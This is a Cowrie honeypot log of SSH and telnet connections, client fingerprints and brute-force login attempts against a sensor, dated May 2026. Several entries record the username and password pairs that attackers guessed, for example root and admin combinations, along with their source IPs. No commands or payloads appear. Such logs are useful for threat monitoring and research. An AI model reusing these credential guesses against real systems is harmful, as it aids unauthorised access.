{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:24.946499Z","src_ip":"193.228.128.84","session":"5088d1641ca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cjrjkjd","message":"login attempt [root/cjrjkjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:25.260540Z","src_ip":"193.228.128.84","session":"5088d1641ca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":37190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e27b511f75","protocol":"telnet","message":"New connection: 178.128.93.180:37190 (10.17.0.5:23) [session: b8e27b511f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:25.507712Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:26.364985Z","src_ip":"193.228.128.84","session":"5088d1641ca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.144484996795654,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:40.322910Z","src_ip":"69.4.83.194","session":"f8c1f2712e2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.8786051273346,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:49.046360Z","src_ip":"178.128.93.180","session":"afbbbfbc75f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":52482,"dst_ip":"10.17.0.5","dst_port":23,"session":"42124e0cb846","protocol":"telnet","message":"New connection: 178.128.93.180:52482 (10.17.0.5:23) [session: 42124e0cb846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:50.668964Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42176,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e56c7f1cdea","protocol":"telnet","message":"New connection: 69.4.83.194:42176 (159.203.135.109:23) [session: 6e56c7f1cdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:09:54.190874Z"}
{"eventid":"cowrie.session.closed","duration":67.7225775718689,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:01.389429Z","src_ip":"178.128.93.180","session":"0c29b198f91e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75250172615051,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:23.421323Z","src_ip":"178.128.93.180","session":"42124e0cb846","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.976287364959717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:26.167040Z","src_ip":"69.4.83.194","session":"6e56c7f1cdea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":81.7649552822113,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:26.331439Z","src_ip":"178.128.93.180","session":"985ea09ee658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.48542833328247,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:28.528402Z","src_ip":"178.128.93.180","session":"ef24a44d44b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":53730,"dst_ip":"10.17.0.5","dst_port":22,"session":"76dda01a2144","protocol":"ssh","message":"New connection: 156.245.246.50:53730 (10.17.0.5:22) [session: 76dda01a2144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:34.110170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:34.114717Z","src_ip":"156.245.246.50","session":"76dda01a2144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:34.322760Z","src_ip":"156.245.246.50","session":"76dda01a2144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq111111","message":"login attempt [root/Qq111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:35.181602Z","src_ip":"156.245.246.50","session":"76dda01a2144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:36.393287Z","src_ip":"156.245.246.50","session":"76dda01a2144","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58714,"dst_ip":"159.203.135.109","dst_port":23,"session":"9446a66053a9","protocol":"telnet","message":"New connection: 69.4.83.194:58714 (159.203.135.109:23) [session: 9446a66053a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:36.490317Z"}
{"eventid":"cowrie.session.closed","duration":75.6625382900238,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:41.170125Z","src_ip":"178.128.93.180","session":"b8e27b511f75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":36426,"dst_ip":"159.203.135.109","dst_port":22,"session":"62cd601ed044","protocol":"ssh","message":"New connection: 89.108.118.91:36426 (159.203.135.109:22) [session: 62cd601ed044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:41.546546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:41.551265Z","src_ip":"89.108.118.91","session":"62cd601ed044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:41.686375Z","src_ip":"89.108.118.91","session":"62cd601ed044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13121988","message":"login attempt [root/13121988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:42.135636Z","src_ip":"89.108.118.91","session":"62cd601ed044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:10:43.270037Z","src_ip":"89.108.118.91","session":"62cd601ed044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4d728b98207","protocol":"telnet","message":"New connection: 69.4.83.194:42306 (159.203.135.109:23) [session: c4d728b98207]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:03.491282Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":43208,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b597b0558b5","protocol":"telnet","message":"New connection: 69.4.83.194:43208 (159.203.135.109:23) [session: 6b597b0558b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:04.625342Z"}
{"eventid":"cowrie.session.closed","duration":33.61388444900513,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:10.104082Z","src_ip":"69.4.83.194","session":"9446a66053a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":17980,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e16d313a45b","protocol":"ssh","message":"New connection: 2.57.121.112:17980 (159.203.135.109:22) [session: 4e16d313a45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:11.836394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:13.280919Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:13.378606Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0531","message":"login attempt [admin/0531] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:13.858767Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051291","message":"login attempt [admin/051291] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:14.963537Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051278","message":"login attempt [admin/051278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:16.073126Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05121995","message":"login attempt [admin/05121995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:17.178519Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051182","message":"login attempt [admin/051182] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:18.283021Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:19.387815Z","src_ip":"2.57.121.112","session":"4e16d313a45b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52348,"dst_ip":"159.203.135.109","dst_port":23,"session":"93d6b432a817","protocol":"telnet","message":"New connection: 69.4.83.194:52348 (159.203.135.109:23) [session: 93d6b432a817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:30.325235Z"}
{"eventid":"cowrie.session.closed","duration":33.8867130279541,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:37.377858Z","src_ip":"69.4.83.194","session":"c4d728b98207","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.96883273124695,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:37.594052Z","src_ip":"69.4.83.194","session":"6b597b0558b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60848,"dst_ip":"159.203.135.109","dst_port":23,"session":"b406079f2819","protocol":"telnet","message":"New connection: 69.4.83.194:60848 (159.203.135.109:23) [session: b406079f2819]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:49.335321Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":34678,"dst_ip":"159.203.135.109","dst_port":23,"session":"e000f1961323","protocol":"telnet","message":"New connection: 69.4.83.194:34678 (159.203.135.109:23) [session: e000f1961323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:11:56.509494Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":47264,"dst_ip":"159.203.135.109","dst_port":22,"session":"7790fb1bfe5f","protocol":"ssh","message":"New connection: 35.225.56.202:47264 (159.203.135.109:22) [session: 7790fb1bfe5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:03.517990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:03.527874Z","src_ip":"35.225.56.202","session":"7790fb1bfe5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:03.564584Z","src_ip":"35.225.56.202","session":"7790fb1bfe5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.295470237731934,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:03.620609Z","src_ip":"69.4.83.194","session":"93d6b432a817","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"netflow","password":"netflow2025","message":"login attempt [netflow/netflow2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:03.748407Z","src_ip":"35.225.56.202","session":"7790fb1bfe5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:04.789964Z","src_ip":"35.225.56.202","session":"7790fb1bfe5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":48442,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd7287f8aee","protocol":"ssh","message":"New connection: 147.45.199.80:48442 (10.17.0.5:22) [session: 9cd7287f8aee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:07.941326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:07.947360Z","src_ip":"147.45.199.80","session":"9cd7287f8aee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:08.043058Z","src_ip":"147.45.199.80","session":"9cd7287f8aee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"999333","message":"login attempt [root/999333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:08.330918Z","src_ip":"147.45.199.80","session":"9cd7287f8aee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:09.434680Z","src_ip":"147.45.199.80","session":"9cd7287f8aee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":56012,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6f80a513eed","protocol":"ssh","message":"New connection: 156.245.246.50:56012 (10.17.0.5:22) [session: a6f80a513eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:09.815764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:12:09.821828Z","src_ip":"156.245.246.50","session":"a6f80a513eed","protocol":"ssh"}
